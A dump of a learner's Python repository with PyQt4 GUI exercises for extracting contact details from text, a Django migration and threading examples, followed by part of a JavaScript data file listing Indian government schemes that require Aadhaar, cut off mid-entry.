index in l: f.write(index + '\n') f.close() k = open("file.txt", "r") print(k.read()) k.close() <file_sep>/AVDLab3/MainWindow.py import sys, textProcessor from PyQt4 import QtGui, uic from Item import TableModel, Item import query ui = uic.loadUiType("AVDLab3.ui")[0] class MainWindow(QtGui.QMainWindow, ui): def __init__(self, parent=None): QtGui.QMainWindow.__init__(self, parent) self.setupUi(self) self.model = TableModel([Item("Ihor", "Paliy", "1997-06-06", "<EMAIL>", "+380977456929").getList()], ['Name', 'Surname', "Birth date", "Mail", "Phone"]) self.query = query.Query() self.fopen.triggered.connect(self.upload) self.clearArea.clicked.connect(self._clearArea) self.startall.clicked.connect(self.startAll) self.tableView.setModel(self.model) self._clearArea() def upload(self): try: file = open("files/file.txt", "r") self.textEdit.setText(file.read()) except FileNotFoundError: self.textEdit.setPlainText("File not found!") def _clearArea(self): self.textEdit.clear() self.textEdit.setReadOnly(False) self.model.removeRows(0) def start(self, phones): if len(phones) == 0: return unknown = "Номери яких не має в базі даних:\n" items = self.query.search(phones) for item in items: self.model.insertRow(item.getList()) for phone in phones: f = True for item in items: if item.getList()[4] == phone: f = False if f: unknown += phone+"\n" QtGui.QMessageBox.information(self, "Невідомі номери", unknown) def startAll(self): text = self.textEdit.toPlainText() self.model.removeRows(0) arr = textProcessor.textProcessorR(str(text)) try: file = open("files/phones.txt", "r") self.textEdit.setText(file.read()) except FileNotFoundError: self.textEdit.setPlainText("") self.textEdit.setReadOnly(True) self.start(arr[3]) <file_sep>/Les_1/music/migrations/0004_song_file.py # -*- coding: utf-8 -*- # Generated by Django 1.10.2 on 2016-12-29 18:12 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('music', '0003_auto_20161229_1321'), ] operations = [ migrations.AddField( model_name='song', name='file', field=models.FileField(default=None, upload_to=''), ), ] <file_sep>/AVDLab3/Item.py from PyQt4 import QtCore, QtGui class Item: def __init__(self, name, surname, birth, mail, phone): self.name = name self.surname = surname self.birth = birth self.mail = mail self.phone = phone def __str__(self): return "------------Item------------" \ "\nName - "+self.name + \ "\nSurname - "+self.surname + \ "\nBirth - "+self.birth + \ "\nMail - "+self.mail + \ "\nPhone - "+self.phone + "\n" \ "------------End-------------" def getList(self): return [self.name, self.surname, self.birth, self.mail, self.phone] def __len__(self): return 5 class TableModel(QtCore.QAbstractTableModel): def __init__(self, items=[], headers=[], parent=None): QtCore.QAbstractTableModel.__init__(self, parent) self._items = items self._headers = headers def rowCount(self, parent=None, *args, **kwargs): return len(self._items) def columnCount(self, parent=None, *args, **kwargs): return 5 def flags(self, index): return QtCore.Qt.ItemIsEditable | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEnabled def data(self, index, role): row = index.row() column = index.column() if role == QtCore.Qt.EditRole: return self._items[row][column] if role == QtCore.Qt.ToolTipRole: return self._items[row][column] if role == QtCore.Qt.DisplayRole: value = self._items[row][column] return value def setData(self, index, value, role=QtCore.Qt.EditRole): if role == QtCore.Qt.EditRole: row = index.row() column = index.column() self._items[row][column] = value self.dataChanged.emit(index, index) return True def headerData(self, section, orientation, role): if role == QtCore.Qt.DisplayRole: if orientation == QtCore.Qt.Horizontal: return self._headers[section] else: return section + 1 def insertRows(self, position, rows, parent=QtCore.QModelIndex()): self.beginInsertRows(QtCore.QModelIndex(), position, position + rows - 1) for i in range(rows): self._items.insert(position, Item("Ihor", "Paliy", "1997-06-06", "<EMAIL>", "+380977456929").getList()) self.endInsertRows() return True def removeRows(self, position, rows=-1, parent=QtCore.QModelIndex()): if rows == -1: rows = len(self._items) self.beginRemoveRows(QtCore.QModelIndex(), position, position + rows - 1) for i in range(rows): value = self._items[position] self._items.remove(value) self.endRemoveRows() return True def insertRow(self, item=[], parent=None, *args, **kwargs): self.beginInsertRows(QtCore.QModelIndex(), 0, 0) self._items.insert(self.rowCount(), item) self.endInsertRows() return True <file_sep>/Les4_Multithread/bookrunk.py from atexit import register from re import compile from threading import Thread from time import ctime from urllib.request import urlopen as uopen from concurrent.futures import ThreadPoolExecutor REGEX = compile("#([\d,]+) in Books ") AMZN = 'https://www.amazon.com/books-used-books-textbooks/b/dp/' ISBNs = { '0132269937': 'Core Python Programming', '0132356139': 'Python Web Development with Django', '0137143419': 'Python Fundamentals' } def getRanking(isbn): page = uopen('%s%s' % (AMZN, isbn)) data = page.read() page.close() return REGEX.findall(data)[0] def _showRanking(isbn): print("- %r ranked %s" % (ISBNs[isbn], getRanking(isbn))) def main(): print("At ", ctime(), " on Amazon...") with ThreadPoolExecutor(3) as executor: for isbn in ISBNs: # _showRanking(isbn) # Thread(target=_showRanking, args=(isbn,)).start() executor.submit(_showRanking, isbn) @register def _atexit(): print("All done at: ", ctime()) main() <file_sep>/Les2/main.py import tsTserv tsTserv <file_sep>/untitled/huck.py # class ArrayIterator: # _arr = [] # _point = 0 # _len = 0 # # def __init__(self, array=[], point=0): # self._arr = array # self._len = len(self._arr) # self._point = point # # def __str__(self): # return str(self._arr[self._point]) # # def set_default(self): # self._point = 0 # # def next(self): # if self._point == self._len: # self._point = 0 # else: # self._point += 1 # return self.__str__() # # def prev(self): # if self._point == 0: # self._point = self._len-1 # else: # self._point -= 1 # return self.__str__() # # arr = [1, 2, 3, 4, 5] # it = ArrayIterator(arr) # print(it.next()) # print(it.prev()) # print(it.prev()) message = "hello world" b = bytes(message, 'ascii') for i in b: print(i) <file_sep>/Les4_Multithread/main.py # from time import ctime, sleep # # # def loop0(): # print("start loop0 at: ", ctime()) # sleep(4) # print("loop0 done at: ", ctime()) # # # def loop1(): # print("start loop1 at: ", ctime()) # sleep(2) # print("loop1 done at: ", ctime()) # # # def main(): # print("starting at: ", ctime()) # loop0() # loop1() # print("All Done at: ", ctime()) # # # if __name__ == "__main__": # main() # import mtSleepA # # mtSleepA # import mtSleepB # # mtSleepB # import mtSleepC # # mtSleepC # import mtfacfib # # mtfacfib # import bookrunk # # bookrunk # import mtsleepF # # mtsleepF # import candy # # candy import prodcons prodcons <file_sep>/Les4_Multithread/mtSleepC.py import threading from time import ctime, sleep loops = [4, 2] def loop(n_loop, n_sec, lock): print("Start loop ", n_loop, " at: ", ctime()) sleep(n_sec) print("Loop ", n_loop, " done at: ", ctime()) def main(): print("Starting at: ", ctime()) threads = [] n_loops = range(len(loops)) for i in n_loops: t = threading.Thread(target=loop, args=(i, loops[i])) threads.append(t) for i in n_loops: threads[i].start() for i in n_loops: threads[i].join() print("All done at: ", ctime()) main() <file_sep>/Les1/textProcessor.py import re from fileProcessor import * def search(reg, words): arr = [] for word in words: reg_exp = re.search(reg, word, flags=0) if reg_exp is not None: arr.append(reg_exp.group()) return arr def textProcessor(text): words = text.split(" ") names_write(search("[A-Z][a-z]{1,15}|[А-ЯІЇЄ][а-яіїє]{1,15}", words)) dates_write(search("\d\d\.\d\d\.\d\d\d\d|\d\d\/\d\d\/\d\d\d\d", words)) mails_write(search("[A-z\.\_0-9]*@[A-z0-9]*\.[A-z0-9]*", words)) phone_write(search("\+\d{5,13}|\d{5,13}", words)) <file_sep>/AVDLab3_2.0/MainWindow.py from PyQt4 import QtCore, QtGui, uic import re ui = uic.loadUiType("AVDLab3.ui")[0] class MainWindow(QtGui.QMainWindow, ui): def __init__(self, parent=None): QtGui.QMainWindow.__init__(self, parent) self.setupUi(self) self.fileOpen.triggered.connect(self.openFile) self.lineSearch.textChanged.connect(self.validate) self.findButton.clicked.connect(self.find_phone) self.reg_exp = "" self.file_name = "" def paintEvent(self, *args, **kwargs): painter = QtGui.QPainter(self) painter.setRenderHint(QtGui.QPainter.Antialiasing, True) gradient = QtGui.QConicalGradient(self.width()/2, self.height()/2, 0) gradient.setColorAt(0, QtCore.Qt.gray) gradient.setColorAt(0.2, QtCore.Qt.cyan) gradient.setColorAt(0.5, QtCore.Qt.white) gradient.setColorAt(0.8, QtCore.Qt.cyan) gradient.setColorAt(1, QtCore.Qt.gray) painter.setBrush(gradient) painter.drawRect(self.rect()) def openFile(self): try: self.file_name = QtGui.QFileDialog.getOpenFileName(self, "Виберіть файл", "", "*.txt") file = open(self.file_name, "r") self.textEdit.setText(file.read()) file.close() except FileNotFoundError: pass def validate(self): reg_exp = re.search("^\+380\d{9}$|^\+1\d{10}$", self.lineSearch.text(), flags=0) if reg_exp is not None: self.info.setText("<div style='color:green'>Хороша робота</div>") else: self.info.setText("<div style='color:red'>Введено невірні дані</div>") def find_phone(self): if self.lineSearch.text()=="": QtGui.QMessageBox.critical(None, "Повідомлення", "Поле пошуку номеру не заповнено!") elif self.textEdit.toPlainText()=="": QtGui.QMessageBox.critical(None, "Повідомлення", "Ви не вибрали телефонну книгу!\n" "Виберіть телефонну книгу і повторіть пошук.") else: self.reg_exp = "\\"+self.lineSearch.text() self.lineShow.clear() try: file = open(self.file_name, "r") for line in file: buf = line regg = re.search(self.reg_exp, buf) if regg is not None: point = buf.find("-") self.lineShow.setText(buf[(point + 2):-1]) file.close() except FileNotFoundError: pass <file_sep>/untitled1/oop.py class Man: def __init__(self): self.tooth = 32 def getInfo(self): return "You have {} tooth".format(self.tooth) class Child(Man): def __init__(self): self.tooth = 28 class Crocodile(Child): def __init__(self): self.animal = True super().__init__() def isAnimai(self): return self.animal def getInfo(self): print(super().getInfo()+".\nIs ", end="") if self.animal: print("animal!") else: print("not animal!") I = Man() You = Child() She = Crocodile() print(I.getInfo()) print(You.getInfo()) She.getInfo() <file_sep>/AVDLab3/textProcessor.py import re from fileProcessor import * def search(reg, words): arr = [] for word in words: reg_exp = re.search(reg, word, flags=0) if reg_exp is not None: arr.append(reg_exp.group()) return arr def textProcessor(text): words = text.split(" ") names_write(search("[A-Z][a-z]{1,15}|[А-ЯІЇЄ][а-яіїє]{1,15}", words)) dates_write(search("\d\d\.\d\d\.\d\d\d\d|\d\d\/\d\d\/\d\d\d\d", words)) mails_write(search("[A-z\.\_0-9]*@[A-z0-9]*\.[A-z0-9]*", words)) phone_write(search("\+\d*", words)) def textProcessorR(text): arr = [] words = text.split(' ') names = search("[A-Z][a-z]{1,15}|[А-ЯІЇЄ][а-яіїє]{1,15}", words) arr.append(names) names_write(names) dates = search("\d\d\.\d\d\.\d\d\d\d|\d\d\/\d\d\/\d\d\d\d", words) arr.append(dates) dates_write(dates) mails = search("[A-z\.\_0-9]*@[A-z0-9]*\.[A-z0-9]*", words) arr.append(mails) mails_write(mails) phones = search("^\+\d*", words) arr.append(phones) phone_write(phones) return arr <file_sep>/QListTab/__init__.py import sys from PyQt4 import QtGui, QtCore, uic class PaletteTableModel(QtCore.QAbstractTableModel): def __init__(self, colors=[[]], headers=[], parent=None): QtCore.QAbstractTableModel.__init__(self, parent) self._colors = colors self._headers = headers def rowCount(self, parent): return len(self._colors) def columnCount(self, parent): return len(self._colors) def flags(self, index): return QtCore.Qt.ItemIsEditable | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEnabled def data(self, index, role): row = index.row() column = index.column() if role == QtCore.Qt.EditRole: return self._colors[row][column].name() if role == QtCore.Qt.ToolTipRole: return "Hex code: "+self._colors[row][column].name() if role == QtCore.Qt.DecorationRole: value = self._colors[row][column] pixmap = QtGui.QPixmap(26, 26) pixmap.fill(value) image = QtGui.QImage(pixmap) return image if role == QtCore.Qt.DisplayRole: value = self._colors[row][column] return value.name() def setData(self, index, value, role=QtCore.Qt.EditRole): if role == QtCore.Qt.EditRole: row = index.row() column = index.column() color = QtGui.QColor(value) if color.isValid(): self._colors[row][column] = color self.dataChanged.emit(index, index) return True return False def headerData(self, section, orientation, role): if role == QtCore.Qt.DisplayRole: if orientation == QtCore.Qt.Horizontal: return self._headers[section] else: return "Color - %d" % (section + 1) class PaletteListModel(QtCore.QAbstractListModel): def __init__(self, colors=[], parent=None): QtCore.QAbstractListModel.__init__(self, parent) self._colors = colors def data(self, index, role): if role == QtCore.Qt.EditRole: return self._colors[index.row()].name() if role == QtCore.Qt.ToolTipRole: return "Hex code: "+self._colors[index.row()].name() if role == QtCore.Qt.DecorationRole: row = index.row() value = self._colors[row] pixmap = QtGui.QPixmap(26, 26) pixmap.fill(value) image = QtGui.QImage(pixmap) return image if role == QtCore.Qt.DisplayRole: row = index.row() value = self._colors[row] return value.name() def rowCount(self, parent): return len(self._colors) def headerData(self, section, orientation, role): if role == QtCore.Qt.DisplayRole: if orientation == QtCore.Qt.Horizontal: return "Palette" else: return "Color - %d" % (section+1) def flags(self, index): return QtCore.Qt.ItemIsEditable | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEnabled def setData(self, index, value, role=QtCore.Qt.EditRole): if role == QtCore.Qt.EditRole: row = index.row() color = QtGui.QColor(value) if color.isValid(): self._colors[row] = color self.dataChanged.emit(index, index) return True return False def insertRows(self, position, rows, parent=QtCore.QModelIndex()): self.beginInsertRows(QtCore.QModelIndex(), position, position + rows - 1) for i in range(rows): self._colors.insert(position, QtGui.QColor("black")) self.endInsertRows() return True def removeRows(self, position, rows, parent=QtCore.QModelIndex()): self.beginRemoveRows(QtCore.QModelIndex(), position, position + rows - 1) for i in range(rows): value = self._colors[position] self._colors.remove(value) self.endRemoveRows() return True if __name__ == '__main__': app = QtGui.QApplication(sys.argv) app.setStyle("cleanlooks") # ///////////////Les 1//////////////// # data = ["one", "two", "three", "four", "five"] # //no model use # listWigdet = QtGui.QListWidget() # listWigdet.addItems(data) # listWigdet.show() # # count = listWigdet.count() # for i in range(count): # item = listWigdet.item(i) # item.setFlags(item.flags() | QtCore.Qt.ItemIsEditable) # # cbox = QtGui.QComboBox() # cbox.addItems(data) # cbox.show() # //modeluse # model = QtGui.QStringListModel(data) # # listView = QtGui.QListView() # listView.setModel(model) # listView.show() # # cbox = QtGui.QComboBox() # cbox.setModel(model) # cbox.show() # ////////////////Les 2 /////////////////// # listView = QtGui.QListView() # listView.show() # # treeView = QtGui.QTreeView() # treeView.show() # # comboBox = QtGui.QComboBox() # comboBox.show() # # tableView = QtGui.QTableView() # tableView.show() # # red = QtGui.QColor(255, 0, 0) # green = QtGui.QColor(0, 255, 0) # blue = QtGui.QColor(0, 0, 255) # # model = PaletteListModel([red, green, blue]) # # listView.setModel(model) # treeView.setModel(model) # comboBox.setModel(model) # tableView.setModel(model) # //////////////////Les 3 ////////////////// listView = QtGui.QListView() listView.show() treeView = QtGui.QTreeView() treeView.show() comboBox = QtGui.QComboBox() comboBox.show() tableView = QtGui.QTableView() tableView.show() red = QtGui.QColor("red") green = QtGui.QColor("green") blue = QtGui.QColor("blue") tableData = [ [red, green, blue], [green, blue, red], [blue, red, green, green], ] model = PaletteTableModel(tableData, ["Pa", "le", "te"]) # model = PaletteListModel([red, green, blue]) listView.setModel(model) treeView.setModel(model) comboBox.setModel(model) tableView.setModel(model) # model.insertRows(0, 5) # model.removeRows(1, 5) sys.exit(app.exec_())
07d08253f3c947f360e3218c1aaeed2b1bf8a396
[ "Markdown", "Python" ]
26
Python
darkfree97/python-education-rep
9f7ca8b9bd491b6e7d5553e42891ec9dedaf421d
8f8e34b98ec8d5c656d2b4edf037d76328730f3a
refs/heads/master
<repo_name>HindustanTimesLabs/aadhaar<file_sep>/data/data.js var data = [ { "scheme": "<NAME> (PMMVY)", "ministry": "MINISTRY OF WOMEN AND CHILD DEVELOPMENT", "notification": new Date (2017,7,4), "deadline_to_enroll": 'NA', "desc": "Provides partial compensation for the wage loss of preganant and lactating mothers. In cases where the parents don't have an Aadhaar, they'll have to register for one within 90 days of registration at Anganwadi Centers or Primary Health Centres. Aadhaar is mandatory for this scheme in all states and union territories, except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/177847.pdf" }, { "scheme": "Death Certificate", "ministry": "Ministry of Home Affairs", "notification": new Date (2017,7,4), "deadline_to_enroll": new Date (2017,9,1), "desc": "It is mandatory for residents of all states except Jammu and Kashmir, Assam and Meghalaya for which a date will be notified separately.", "welfare":'N', "link": "http://pib.nic.in/newsite/erelease.aspx?relid=169622" }, { "scheme": "Bank accounts", "ministry": "MINISTRY OF ELECTRONICS AND INFORMATION TECHNOLOGY", "notification": new Date (2017,6,14), "deadline_to_enroll": new Date (2017,11,31), "desc": "Under the Prevention of Money Laundering Rules (2005) Aadhaar needs to be linked by all bank accounts by the end of the year, failing which the accounts will become inoperative.", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/177393.pdf" }, { "scheme": "Central Sector Scheme of Research, Development and Consultancies on Generic issues related to Public Sector Enterprises", "ministry": "Ministry of Heavy Industries and Public Enterprises", "notification": new Date (2017,6,10), "deadline_to_enroll": 'NA', "desc": "The Scheme offers training programmes on capacity building and skill development for the executives and employees of the Central Public Sector Enterprises and State Level Public Enterprises to reduce their skill gaps and to up-grade their capacity. It is offered through various national institutes such as Indian Institute of Management (IIM), Indian Institute of Technology (IIT), Indian Institute of Public Administration, Administrative Staff College of India (Hyderabad), Institute of Public Enterprises (Hyderabad), and Lal Bahadur Shastri National Academy of Administration at Mussoorie. Aadhaar is mandatory for this scheme in all states and union territories, except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/177338.pdf" }, { "scheme": "Revised National Tuberculosis Control Programme (RNTCP)", "ministry": "Ministry of Health and Family Welfare", "notification": new Date (2017,5,16), "deadline_to_enroll": new Date (2017,7,31), "desc": "The scheme provides conditional cash assistance to eligible TB patients, private health care providers and treatment supporters. Aadhaar is mandatory for this scheme in all states and union territories, except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://tbcindia.nic.in/showfile.php?lid=3286", type:'health' }, { "scheme": "Central Sector Scheme of Counselling, Retraining and Redeployment for separated employees of the Central Public Sector Enterprises (CPSEs)", "ministry": "Ministry of Heavy Industries and Public Enterprises", "notification": new Date (2017,6,10), "deadline_to_enroll": 'NA', "desc": "The scheme provides opportunities of self and wage employment to employees or dependents of the Central Public Sector Enterprises who are separated under the Voluntary Retirement Scheme (VRS) or the Voluntary Separation Scheme (VSS) or have been retrenched due to closure or restructuring of the enterprises, by providing short-duration skill development training programmes to equip them for self or wage employment. Aadhaar is mandatory for this scheme in all states and union territories, except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/177337.pdf" }, { "scheme": "Central Sector Scheme of Extra Mural Research", "ministry": "Ministry of Ayurveda, Yoga and Naturopathy, Unani, Siddha and Homoeopathy (AYUSH)", "notification": new Date (2017,6,5), "deadline_to_enroll": 'NA', "desc": "Grant-in-Aid to the Public and Private Research Institutions to cover the expenditures incurred towards payment of remuneration to the individuals who are hired exclusively under the research projects, and also payment of fee, travelling allowance and dearness allowances to the Principal Investigator and the Co-Investigators who are already employees of the Research Institutes.", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/177179.pdf" }, { "scheme": "Enhanced Compensation Scheme for Sterilisation", "ministry": "Ministry of Health and Family Welfare", "notification": new Date (2017,5,27), "deadline_to_enroll": new Date (2017,8,30), "desc": "Under the family health mission, compensation is provided to various people involved in the sterilisation process, including the individual undergoing the vasectomy/tubectomy.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/177012.pdf", 'type':'health' }, { "scheme": "Post-Partum IUCD (PPIUCD) Incentive Scheme", "ministry": "Ministry of Health and Family Welfare", "notification": new Date (2017,5,27), "deadline_to_enroll": new Date (2017,8,30), "desc": "Under the family health mission, compensation is provided to individuals who chose to get an IUCD inserted post delivery at government centres.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/177012.pdf", 'type':'health' }, { "scheme": "Post-Abortion IUCD (PAIUCD) Incentive Scheme", "ministry": "Ministry of Health and Family Welfare", "notification": new Date (2017,5,27), "deadline_to_enroll": new Date (2017,8,30), "desc": "Under the family health mission, compensation is provided to individuals who chose to get an IUCD inserted at government centres.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/177012.pdf", 'type':'health' }, { "scheme": "Ensuring Spacing of Births (ESB) Scheme", "ministry": "Ministry of Health and Family Welfare", "notification": new Date (2017,5,27), "deadline_to_enroll": new Date (2017,8,30), "desc": "Under the family health mission, services of ASHAs are utilised for counselling newly married couples to ensure spacing of 2 years after marriage and couples with 1 child to have spacing of 3 years after the birth of 1st child. The scheme is operational in 18 States (EAG, North-Eastern and Gujarat and Haryana).", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/177012.pdf", 'type':'health' }, { "scheme": "Family Planning Indemnity Scheme (FPIS)", "ministry": "Ministry of Health and Family Welfare", "notification": new Date (2017,5,27), "deadline_to_enroll": new Date (2017,8,30), "desc": "In the event of operative complications or death during an individual's sterilisation procedure, the family will be provided a compensation under the said scheme.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/177012.pdf", 'type':'health' }, { "scheme": "Scheme for Promotion of International Co-operation in AYUSH", "ministry": "Ministry of AYUSH", "notification": new Date (2017,5,19), "deadline_to_enroll": new Date (2017,8,30), "desc": "Under the scheme, financial assistance is provided to the individuals for presentation of AYUSH related scientific research papers in international conferences, workshops and seminars by reimbursing the expenditures incurred on their air-travel, accommodation, delegation registration fees and other expenses. Aadhaar is mandatory for this scheme in all states and union territories, except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/176871.pdf" }, { "scheme": "Fertilizer Subsidy Schemes", "ministry": "Ministry of Chemicals and Fertilizers", "notification": new Date (2017,4,17), "deadline_to_enroll": new Date (2017,5,30), "desc": "(i) Urea subsidy MH 2852 payment for Import of Urea; (ii) Urea subsidy MH 2852 payment for Urea freight subsidy; (iii) Urea subsidy MH 2852 payment for Indigenous Urea; (iv).Nutrient based subsidy policy MH 2401 payment for City Compost; (v) Nutrient based subsidy policy MH 2401 payment for imported P and K fertilizers; (vi) Nutrient based subsidy policy MH 2401 payment for indigenous P and K fertilizers;", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/176668.pdf", "type": "subsidy" }, { "scheme": "Central Sector Scheme of Co-operative Education and Training", "ministry": "Ministry of Agriculture and Farmers Welfare", "notification": new Date (2017,5,9), "deadline_to_enroll": new Date (2017,6,9), "desc": "Provides training on co-operative education to middle level and senior level personnel of the co-operatives, State Governments as well as various co-operative institutions and also to the other individuals with an objective of strengthening the process of development of co-operatives as self-reliant and self-regulated viable economic enterprises.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/176565.pdf", 'type':'training' }, { "scheme": "Pre-matric Scholarship Scheme for Scheduled Tribe Students Studying in Class IX and X", "ministry": "Ministry of Tribal Affairs", "notification": new Date (2017,4,30), "deadline_to_enroll": new Date (2017,5,30), "desc": "", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/176349.pdf", type: 'scholarship' }, { "scheme": "Post-Matric Scholarship for Scheduled Tribe Students", "ministry": "Ministry of Tribal Affairs", "notification": new Date (2017,4,30), "deadline_to_enroll": new Date (2017,5,30), "desc": "", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/176349.pdf", type: 'scholarship' }, { "scheme": "National Fellowship and Scholarship for Higher Education of Scheduled Tribe Students", "ministry": "Ministry of Tribal Affairs", "notification": new Date (2017,4,30), "deadline_to_enroll": new Date (2017,5,30), "desc": "", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/176349.pdf", type: 'scholarship' }, { "scheme": "Scholarship to the Scheduled Tribe Students for studies abroad", "ministry": "Ministry of Tribal Affairs", "notification": new Date (2017,4,30), "deadline_to_enroll": new Date (2017,5,30), "desc": "The financial assistance is offered through Ministry of External Affairs.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/176349.pdf", type: 'scholarship' }, { "scheme": "<NAME> <NAME>", "ministry": "Ministry of Chemicals and Fertilizers", "notification": new Date (2017,4,30), "deadline_to_enroll": new Date (2017,5,30), "desc": "The scheme aims to make quality medicines available at affordable prices for all, particularly the poor and disadvantaged, through outlets called “<NAME> Medical Store”, so as to reduce out of pocket expenses in healthcare.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/176333.pdf" }, { "scheme": "Performing Arts Grant Scheme (also known as Repertory Grant Scheme)", "ministry": "Ministry of Culture", "notification": new Date (2017,4,30), "deadline_to_enroll": new Date (2017,5,30), "desc": "", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/176355.pdf" }, { "scheme": "Scheme for Financial Assistance to Cultural Organizations with National Presence", "ministry": "Ministry of Culture", "notification": new Date (2017,4,30), "deadline_to_enroll": new Date (2017,5,30), "desc": "", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/176355.pdf" }, { "scheme": "Artistes Pension Scheme and Welfare Fund", "ministry": "Ministry of Culture", "notification": new Date (2017,4,30), "deadline_to_enroll": new Date (2017,5,30), "desc": "", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/176355.pdf", 'type':'pension' }, { "scheme": "Cultural Functions and Production Grant Scheme", "ministry": "Ministry of Culture", "notification": new Date (2017,4,30), "deadline_to_enroll": new Date (2017,5,30), "desc": "", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/176355.pdf" }, { "scheme": "Promoting International Cultural Relations", "ministry": "Ministry of Culture", "notification": new Date (2017,4,30), "deadline_to_enroll": new Date (2017,5,30), "desc": "", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/176355.pdf" }, { "scheme": "<NAME> – National Urban Livelihood Mission (DAY-NULM)", "ministry": "Ministry of Housing and Poverty Alleviation", "notification": new Date (2017,4,26), "deadline_to_enroll": new Date (2017,5,30), "desc": "Aims to reduce poverty and vulnerability of the urban poor households by providing access gainful self-employment and skilled wage employment opportunities and by facilitating access to suitable spaces, institutional credit, social security, employment opportunities and skills.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/176254.pdf" }, { "scheme": "Scholarship to the students of National Institute of Pharmaceutical Education and Research (NIPER)", "ministry": "Ministry of Chemicals and Fertilizers", "notification": new Date (2017,4,16), "deadline_to_enroll": new Date (2017,5,30), "desc": "Provides financial assistance in the form of scholarships, stipends or House Rent Allowances is given to the students pursuing Master of Science in Pharma or Junior Research Fellows or Senior Research Fellows in NIPER, for which Grants-in-Aid are given to various NIPER Institutes operating across the country for implementation of the Scheme.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/176026.pdf", "type":"scholarship" }, { "scheme": "Short duration training programmes", "ministry": "Ministry of Tourism", "notification": new Date (2017,4,12), "deadline_to_enroll": new Date (2017,2,31), "desc": "The short term courses are offered by several state institutes such as - State Institutes of Hotel Management, Food Craft Institutes, Indian Institute of Tourism and Travel Management (IITTM), National Institute of Tourism and Hospitality Management (NITHM), Hyderabad, India Tourism Development Corporation (ITDC), Kerala Institute of Tourism and Travel Studies (KITTS), Indian Railway Catering and Tourism Corporation Limited (IRCTC), Classified hotels, State Tourism Development Corporations (STDCs). The aim for the same is to reduce the skill gap amidst the youth.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/175940.pdf" }, { "scheme": "Atal Pension Yojana (APY)", "ministry": "Ministry of Finance", "notification": new Date (2017,4,11), "deadline_to_enroll": new Date (2017,5,15), "desc": "The scheme is focused on all citizens in the unorganised sector, who join the National Pension System (NPS) administered by the Pension Fund Regulatory and Development Authority (PFRDA).", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/175931.pdf", 'type':'pension' }, { "scheme": "National Mission on Agriculture Extension and Technology (NMAET) - Sub-Mission on Seeds and Planting Materials (SMSP)", "ministry": "Ministry of Agriculture and Farmers Welfare", "notification": new Date (2017,4,9), "deadline_to_enroll": new Date (2017,2,31), "desc": "The scheme includes seed village programme of cereals, pulses, oilseeds, fodders and green manure crops by providing foundation seeds or certified seeds input subsidy. It also includes certified seed production of the commodities under Seed Village Programme by providing foundation seeds input subsidy, seed certification charges, seed processing and seed storage. The government also provides training, cash subsidy and subsidized seeds under the scheme.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/175894.pdf" }, { "scheme": "Faster Adoption and Manufacturing of (Hybrid and) Electrical Vehicles in India (FAME-India)", "ministry": "Ministry of Heavy Industries and Public Enterprises", "notification": new Date (2017,3,25), "deadline_to_enroll": new Date (2017,5,30), "desc": "The scheme provides incentive to the customers by registered dealers on pthe urchase of hybrid or electric vehicles. The dealers submit their claims monthly to their respective Original Equipment Manufacturers who in turn submit their claims to the Department through National Automotive Board (NAB). An Aadhaar for this scheme is required in all the states and union territories except Assam, Meghalaya and Jammu & Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175766.pdf" }, { "scheme": "Scholarship to Young Artistes in different cultural fields", "ministry": "Ministry of Culture", "notification": new Date (2017,3,28), "deadline_to_enroll": new Date (2017,5,31), "desc": "The two year scholarship seeks to give assistance to young artistes (of Indian Nationality) of outstanding promise for advanced training within India in the field of Indian Classical Music, Indian Classical Dance, Theatre, Mime, Visual art, Folk, Traditional and Indigenous Arts and Light Classical Music. Each scholar receives Rs 5000/- every month during the course of the scholarship. Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175791.pdf", "type": 'scholarship', 'welfare':'Y' }, { "scheme": "Fellowships to Outstanding Persons in the field of culture", "ministry": "Ministry of Culture", "notification": new Date (2017,3,28), "deadline_to_enroll": new Date (2017,5,31), "desc": "Under the scheme upto 400 fellowships (200 junior in the age group of 25-40 years and 200 Senior in the age group of above 40 years) are given every year to outstanding persons in the fields of art and culture. Online applications are invited every year and fellows are selected on the basis of assessment of project proposals/interview by a committee constituted by the ministry. Junior fellows are given fellowship at Rs. 10,000/- per month and Senior fellows at Rs. 20,000/- per mont for a period of 2 years. Aadhaar is required for this scheme in all states and 